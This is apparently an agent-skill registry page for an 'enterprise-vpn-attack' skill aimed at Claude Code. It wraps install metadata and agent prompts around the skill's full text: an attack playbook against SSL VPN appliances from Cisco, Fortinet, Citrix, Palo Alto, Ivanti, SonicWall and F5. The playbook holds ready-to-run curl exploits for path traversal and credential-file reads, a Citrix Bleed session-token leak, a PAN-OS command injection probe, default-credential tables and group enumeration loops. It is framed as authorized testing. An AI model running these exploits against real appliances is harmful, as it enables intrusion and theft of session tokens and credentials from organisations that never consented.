RiskyA machine-readable review of install readiness, security metadata, maintenance, and adoption risk.
OpenAgentSkill Trust Score v5
Run only in a sandbox and compare close alternatives before using it for real work.
Stars
4.0K GitHub stars
Repo activity
4.0K stars, 629 forks
Maintenance
4d since push
License
MIT
Install
npx skills add elementalsouls/Claude-BugHunter --skill enterprise-vpn-attack
Install safety
Agent-readable metadata
Use this block or the embedded JSON to decide whether an agent should install this skill, choose an alternative, or ask for human review first.
Suited tasks
Suited agents
Install decision
Trust and risk
Outcome loop
Install command
npx skills add elementalsouls/Claude-BugHunter --skill enterprise-vpn-attackDo not use when
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Agent safety v2
This skill should not be selected by an agent without explicit human security review.
Do not auto-install. Inspect the source, dependencies, and permission surface first.
high
Skill metadata references terminal, CLI, shell, subprocess, or command execution workflows.
medium
Skill likely fetches remote pages, APIs, repositories, or external services.
medium
Skill may read or write project files, documents, generated artifacts, or local workspace state.
high
Skill metadata references credentials, tokens, environment variables, or secret-bearing workflows.
Agent resolve plan
The Resolve API returns the selected skill, alternatives, safety policy, audit notes, install target, and copy-paste prompt an agent can follow without scraping this page.
Open JSON
/api/agent/resolve?task=Use%20enterprise-vpn-attack%20for%20an%20agent%20workflow&agent=codex&max_risk=medium
Resolve text
/api/agent/resolve?task=Use%20enterprise-vpn-attack%20for%20an%20agent%20workflow&agent=codex&max_risk=medium&format=text
Install handoff
/api/skills/elementalsouls-enterprise-vpn-attack/install
Agent should check
Copy prompt
Task: Use enterprise-vpn-attack in this workspace.
Resolve first: https://www.openagentskill.com/api/agent/resolve?task=Use%20enterprise-vpn-attack%20for%20an%20agent%20workflow&agent=codex&max_risk=medium
Review install handoff: https://www.openagentskill.com/api/skills/elementalsouls-enterprise-vpn-attack/install
Install command: npx skills add elementalsouls/Claude-BugHunter --skill enterprise-vpn-attack
Before running it, summarize audit warnings, required permissions, and the fallback skill if install is risky.Agent handoff
Use the public install endpoint to fetch the command, safety checklist, target prompts, and canonical links for this skill.
Install handoff
/api/skills/elementalsouls-enterprise-vpn-attack/install
LLM text format
/api/skills/elementalsouls-enterprise-vpn-attack/install?format=text
Find alternatives
/api/skills/search?q=enterprise-vpn-attack&limit=3
Agent prompt
Use enterprise-vpn-attack for this task. Review https://www.openagentskill.com/api/skills/elementalsouls-enterprise-vpn-attack/install, then install with: npx skills add elementalsouls/Claude-BugHunter --skill enterprise-vpn-attackRegistry metadata
This page exposes the same decision, trust, audit, use-case, and install signals through the Registry API, so agents can rank this skill without scraping the UI.
Manifest
/api/registry/manifest/elementalsouls-enterprise-vpn-attack
LLM text
/api/registry/manifest/elementalsouls-enterprise-vpn-attack?format=text
Install alias
/api/registry/install/elementalsouls-enterprise-vpn-attack
Recommend
/api/registry/recommend?task=Use%20enterprise-vpn-attack%20in%20an%20agent%20workflow&limit=3
Agent fit
Testing and QA
Use-case tags
Platforms
Claude Code
Audit report
A machine-readable review of install readiness, security metadata, maintenance, and adoption risk.
Agent decision cockpit
Use this as a leading candidate, then validate the README and install path in your own agent stack.
Role in stack
Primary pick
Primary fit
Testing and QA
Trust label
Production-ready
Install path
Command ready
Use when
Evidence
review first
Implementation path
Trust profile
Useful candidate with missing or mixed trust signals. Keep it in an isolated workspace until the outcome loop proves task fit.
GitHub adoption
PASS4.0K GitHub stars
Stars/forks activity
PASS4.0K stars, 629 forks; issue activity unavailable in current metadata
Recent maintenance
PASS4d since push
License clarity
PASSMIT
Good signals
Review before install
Recommended action
Run only in a sandbox and compare close alternatives before using it for real work.
Quality profile
Solid option that is likely worth shortlisting for production workflows.
Workflow fit
Verify behavior
I need my agent to test a web app, reproduce bugs, and verify fixes.
Operate local tools
I need my agent to operate local files and desktop apps in a repeatable workflow.
Operate web apps
I need my agent to control a browser, fill forms, and verify web app workflows.
Workflow fit
Operate and verify web apps
A workflow for agents that navigate products, fill forms, take screenshots, and verify real user flows across web applications.
Find, compare, and synthesize
A workflow for agents that gather sources, compare claims, summarize long material, and draft useful research briefs.
Design, build, test, and ship interfaces
A practical workflow for agents that turn product briefs or Figma designs into polished frontend code, review the result, test it in a browser, and prepare a safe deployment.
Alternative shortlist
Similar skills that may fit this task.
Guidance for distinctive, intentional UI design, typography, visual direction, and non-template-like product interfaces.
Design and implementation guidance for distinctive landing pages, portfolios, product demos, and purposeful redesigns.
Create original visual art, posters, PNG assets, and PDF documents through a clear design philosophy.
Apply Anthropic official brand colors, typography, and visual standards to appropriate Anthropic-related artifacts.
--- name: enterprise-vpn-attack description: External SSL VPN / remote-access appliance attack matrix — Cisco ASA/AnyConnect, Fortinet FortiGate/FortiOS, Citrix NetScaler/ADC, Palo Alto GlobalProtect, Pulse Secure / Ivanti Connect Secure, SonicWall, F5 Big-IP. Covers version fingerprinting, CVE matrix (2018-2026), AAA backend identification, default credentials, configuration-disclosure paths, pre-auth RCE/SSRF/path-traversal exploits where applicable. Built from authorized-engagement Cisco ASA testing plus 2024-2026 enterprise VPN CVE landscape. Use whenever the target's perimeter exposes any SSL VPN appliance or remote-access gateway — these are the most common initial-access points in 2024-2026 actor TTPs. sources: authorized-engagement, public-advisories, cisa-kev report_count: 1 ---
## When to use this skill
Trigger when recon surfaces: - `*.<client>.example/+CSCOE+/logon.html` or similar `+CSCOE+` paths → Cisco ASA / AnyConnect - `intranet.*` / `vpn.*` / `connect.*` / `webvpn.*` / `wc.*` / `remote.*` subdomains - Port 443 returning login pages with `Server: Apache` or banner like "AnyConnect", "FortiGate", "NetScaler", "GlobalProtect", "Pulse", "Ivanti" - TCP 8443 / 4443 / 10443 / 8888 (common VPN web-mgmt ports) - HTTP responses with `Set-Cookie: webvpn=` (Cisco) / `SVPNCOOKIE=` (Fortinet) / `NSC_AAA=` (Citrix) / `DSAuthSession=` (Pulse) / `BIGipServer*` (F5)
DO NOT use for: - Internal lateral-movement post-foothold (out of scope per user's boundary) - VPN client-side bugs (different attack class) - IPsec / L2TP / OpenVPN (different protocols, not SSL VPN web stack)
---
## Vendor identification (fingerprinting)
### Cisco ASA / AnyConnect ```bash curl -skI 'https://target/+CSCOE+/logon.html' | head -10 # Look for: Set-Cookie: webvpn=; X-Frame-Options: SAMEORIGIN; CSP: ... block-all-mixed-content # Login page contains: "AnyConnect", "CSCOE", "logon.html" ``` ASA version: not banner-disclosed in modern builds; need to derive from JS file paths or test specific paths.
```bash # Path-based version hints (older builds leaked builds in URLs) curl -sk 'https://target/+CSCOE+/sdesktop/scan-finalize?path=test' curl -sk 'https://target/+CSCOE+/saml/sp/metadata' # 200 = SAML auth enabled curl -sk 'https://target/CSCOSSLC/config-auth' # AnyConnect handshake endpoint ```
### Fortinet FortiGate / FortiOS ```bash curl -skI 'https://target/remote/login' | head -10 # Look for: Set-Cookie: SVPNCOOKIE=, Server header missing or "xxxxxxxx-xxxxx" # Login page contains: "FortiGate", "Fortinet", "SSL-VPN" ``` Version: `/remote/info` sometimes leaks (older), or `/login?username=` 302 response
### Citrix NetScaler / ADC / Gateway ```bash curl -skI 'https://target/' | head -10 # Look for: Set-Cookie: NSC_AAA=, Set-Cookie: NSC_USER=, Server: NetScaler # Login page contains: "NetScaler", "Citrix Gateway"
# Version banner curl -sk 'https://target/vpn/index.html' | grep -oE 'NetScaler/[0-9.]+|NS[0-9.]+' curl -sk 'https://target/menu/neo' # 200 if vulnerable to CVE-2019-19781 era ```
### Palo Alto GlobalProtect ```bash curl -skI 'https://target/global-protect/login.esp' | head -10 # Look for: Set-Cookie: PHPSESSID= (yes, GP uses PHP), Server: Apache (PA-VM internal) # Page contains: "GlobalProtect Portal", "PAN-OS"
# Version banner via login page curl -sk 'https://target/global-protect/login.esp' | grep -oE 'GlobalProtect Portal[\s\S]{0,200}' # Or check meta tag curl -sk 'https://target/global-protect/login.esp' | grep -oE 'panui-[0-9.]+' ```
### Pulse Secure / Ivanti Connect Secure ```bash curl -skI 'https://target/dana-na/auth/url_default/welcome.cgi' | head -10 # Look for: Set-Cookie: DSAuthSession=, DSPREAUTH= # Page contains: "Pulse Secure" or "Ivanti Connect Secure"
# Version curl -sk 'https://target/dana-na/auth/url_default/welcome.cgi' | grep -oE 'Pulse Connect Secure[^<]*|ivanti[^<]*[0-9.]+' ```
### SonicWall NetExtender / SMA ```bash curl -skI 'https://target/cgi-bin/welcome' | head -10 # Look for: Set-Cookie: swap=, swapauth= # Page contains: "SonicWall", "NetExtender", "SMA" ```
### F5 Big-IP / APM ```bash curl -skI 'https://target/my.policy' | head -10 # Look for: Set-Cookie: BIGipServer*, MRHSession= # Server: BIG-IP (sometimes) ```
---
## CVE matrix — pre-auth or auth-bypass (2018-2026)
### Cisco ASA / AnyConnect
| CVE | Affects | Type | Test | |---|---|---|---| | **CVE-2018-0296** | ASA pre-9.x specific builds | Path traversal — info disclosure (sessions, config) | `GET /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua` | | **CVE-2020-3452** | ASA, FTD before specific patch levels | Path traversal — file read | `GET /+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua` and variations | | **CVE-2023-20269** | ASA, FTD specific | Auth bypass on SSL VPN | Brute-force a group + valid creds combo against `/+webvpn+/index.html` | | **CVE-2024-20481** | RAVPN | DoS via crafted handshake | **SKIP in red team — disruptive** |
```bash # Cisco CVE-2020-3452 — file read curl -sk 'https://target/+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua' | head -5
# Cisco CVE-2018-0296 — path traversal curl -sk 'https://target/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua' | head -20
# Files commonly retrievable on vulnerable ASA: # /+CSCOE+/portal_inc.lua (portal inclusions — may reveal local users) # /+CSCOE+/session_password.html # /+CSCOE+/files/files.html ```
### Fortinet FortiGate / FortiOS
| CVE | Affects | Type | Test | |---|---|---|---| | **CVE-2018-13379** | FortiOS 5.4-6.0 | Path traversal — sslvpn_websession file read | `GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession` | | **CVE-2022-42475** | FortiOS 7.x specific | Heap overflow — pre-auth RCE | Complex exploit; test with `nuclei` template `CVE-2022-42475` | | **CVE-2023-27997** (XORtigate) | FortiOS various | Heap overflow — pre-auth RCE | Public PoCs exist; nuclei template available | | **CVE-2024-21762** | FortiOS 6.x-7.x | OOB write — pre-auth RCE | Public PoC; nuclei template `CVE-2024-21762` | | **CVE-2024-55591** | FortiOS 7.0-7.4 | Auth bypass on FortiOS Node.js websocket admin interface | `GET /endpoint` on admin-interface port |
```bash # Fortinet CVE-2018-13379 — most reliably-fingerprintable file read curl -sk --path-as-is 'https://target/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession' # Response contains plaintext usernames + sessions if vulnerable
# Fortinet credential dump format (from CVE-2018-13379 dumps that hit pastebin in 2021): # IP:PORT username password (and others) ```
### Citrix NetScaler / ADC / Gateway
| CVE | Affects | Type | Test | |---|---|---|---| | **CVE-2019-19781** (Shitrix) | ADC/Gateway 10.5-13.0 specific | Path traversal → RCE via XML upload | `GET /vpn/../vpns/cfg/smb.conf` | | **CVE-2022-27518** | ADC/Gateway with SAML configured | Pre-auth RCE | Complex; test with nuclei | | **CVE-2023-3519** | NetScaler ADC/Gateway 13.0-13.1 specific | Pre-auth RCE via crafted HTTP | Public PoCs exist | | **CVE-2023-4966** (Citrix Bleed) | NetScaler ADC/Gateway 13.0-14.1 | Memory disclosure → session token theft | `POST /oauth/idp/.well-known/openid-configuration` with crafted Host header — long Host header triggers memory leak in response |
```bash # Citrix Bleed (CVE-2023-4966) detection HOST=$(python3 -c "print('A' * 24812)") curl -sk -X POST -H "Host: $HOST" "https://target/oauth/idp/.well-known/openid-configuration" -o response.txt # If response is large (>10KB) and contains random memory contents — vulnerable # Session tokens often present in the memory dump
# CVE-2019-19781 file read curl -sk --path-as-is 'https://target/vpn/../vpns/cfg/smb.conf' ```
### Palo Alto GlobalProtect
| CVE | Affects | Type | Test | |---|---|---|---| | **CVE-2024-3400** | PAN-OS 10.2-11.1 with GP enabled | Command injection — pre-auth RCE | `POST /ssl-vpn/login.esp` with crafted Cookie header containing `SESSID=../../../var/log/pan/test.txt` |
```bash # CVE-2024-3400 detection curl -sk -X POST 'https://target/ssl-vpn/login.esp' \ -H 'Cookie: SESSID=../../../var/log/pan/test_$(id)_test.txt' \ --data 'jsessionid=test' # Look for file-creation side-effect on test path — palo creates file with command output ```
### Pulse Secure / Ivanti Connect Secure / Policy Secure
| CVE | Affects | Type | Test | |---|---|---|---| | **CVE-2019-11510** | Pulse Connect Secure 8.x-9.x | Arbitrary file read | `GET /dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/` | | **CVE-2021-22893** | Pulse Connect Secure 9.x | Pre-auth RCE | Complex multi-step; test with nuclei | | **CVE-2024-21887** | Ivanti Connect Secure 9.1-22.6 | Command injection on web component | `POST /api/v1/totp/user-backup-code/` with crafted body | | **CVE-2023-46805** | Ivanti Connect Secure 9.1-22.6 | Auth bypass | Combined with 21887 for full chain |
```bash # CVE-2019-11510 — Pulse file read curl -sk --path-as-is 'https://target/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/' ```
### SonicWall
| CVE | Affects | Type | Test | |---|---|---|---| | **CVE-2021-20016** | SMA 100 series specific firmware | SQL injection — pre-auth | nuclei template available | | **CVE-2024-40766** | SonicOS specific | Access-control flaw | Specific firmware versions |
---
## SAML SP / IdP misconfigurations (always check)
Most enterprise VPNs now use SAML for SSO. Check SP metadata:
```bash # Cisco ASA curl -sk 'https://target/+CSCOE+/saml/sp/metadata' | head -50
# Fortinet curl -sk 'https://target/remote/saml/metadata' | head -50
# Citrix curl -sk 'https://target/saml/login' | head -30 ```
Look for: - `AuthnRequestsSigned="false"` → see `hunt-saml` for XSW exploitation - `WantAssertionsSigned="false"` → severe; assertion-replay possible - Audience-restriction validation gaps - Public SP signing cert (for replay/forging attacks)
---
## Default credentials (test sparingly — lockout risk)
| Vendor | User | Password | Notes | |---|---|---|---| | Cisco ASA | admin | cisco | Default factory; rarely seen in prod | | Cisco ASA | enable_15 | cisco | Console | | Fortinet | admin | (empty) | Factory default | | Citrix NetScaler | nsroot | nsroot | Factory default | | Citrix NetScaler | nsroot | (serial number) | Newer firmware | | Palo Alto | admin | admin | Factory default | | Pulse Secure | admin | password | Factory; CIS-hardened changes this | | F5 Big-IP | root | default | Factory | | F5 Big-IP | admin | admin | Common alternate | | SonicWall | admin | password | Factory |
⚠ Most enterprise targets have changed these. Test ≤2 attempts per account to avoid lockout.
---
## Group / tunnel-group enumeration (Cisco-specific)
Cisco ASA AAA groups can sometimes be enumerated without auth.
```bash # Tunnel group enumeration via timing for group in DefaultRAGroup DefaultWEBVPNGroup SSLVPN Employees Contractors Vendors Partners Sales Marketing IT; do ms=$(curl -sk --max-time 10 -o /dev/null -w "%{time_total}" \ -X POST "https://target/+webvpn+/index.html" \ -d "username=test&password=test&group_list=$group&tgroup=&Login=Login") echo "$group: ${ms}s" done # Larger differential timing = group exists; valid groups respond slower in some builds ```
---
## AAA backend identification
After auth fails, look at error response details:
| Pattern in response | AAA backend | |---|---| | `a0=2` (Cisco) | Unknown user | | `a0=3` (Cisco) | Wrong password | | `a0=4` (Cisco) | Login restricted | | `a0=12` (Cisco) | Account locked | | `a0=115` (Cisco) | Generic auth fail (LDAP/RADIUS/AD layer error) | | AADSTS in response body | Backed by Entra (SAML) | | `Authentication failed via RADIUS` | RADIUS backend | | `Invalid username or password` (generic) | LDAP or local DB |
If you see SAML/Entra in the flow, pivot to `m365-entra-attack` skill for cred-spray strategy.
---
Source provenance
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4,032 GitHub stars
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Scenario-led draft for enterprise-vpn-attack, ready for a manual X post.
enterprise-vpn-attack: External SSL VPN / remote-access appliance attack matrix — Cisco ASA/AnyConnect, Fortinet For... 4.0K stars https://www.openagentskill.com/skills/elementalsouls-enterprise-vpn-attack?ref=x
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